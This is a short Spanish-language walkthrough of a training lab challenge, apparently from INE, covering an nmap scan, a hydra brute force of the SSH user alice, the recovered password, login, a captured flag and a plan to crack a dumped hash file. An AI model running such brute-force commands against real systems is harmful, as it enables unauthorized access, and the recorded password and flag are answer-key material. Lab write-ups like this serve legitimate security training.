Pistas

1. An insecure ssh user named alice lurks in the system.
2. Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?
3. Can you escalate privileges and read the flag in C://Windows//System32//config directory?
4. Looks like the flag present in the Administrator's home denies direct access.

Como siempre empezamos lanzando escaneo:

nmap -A target.ine.local

Como la pista dice que el user alice es inseguro y vemos que efectivamente el puerto ssh esta abierto, vamos a brute forcearlo:

hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt target.ine.local ssh

Obtenemos la password —> password: princess1

Nos logueamos con ssh

ssh [email protected]

Y en su directorio vemos la flag 1: 436fca441ea34f4386cbca89df8cd7d7

Vemos tambien un archivo curioso llamado hashdump.txt lo vamos a copiar en local para hacer cracking como dice la pista.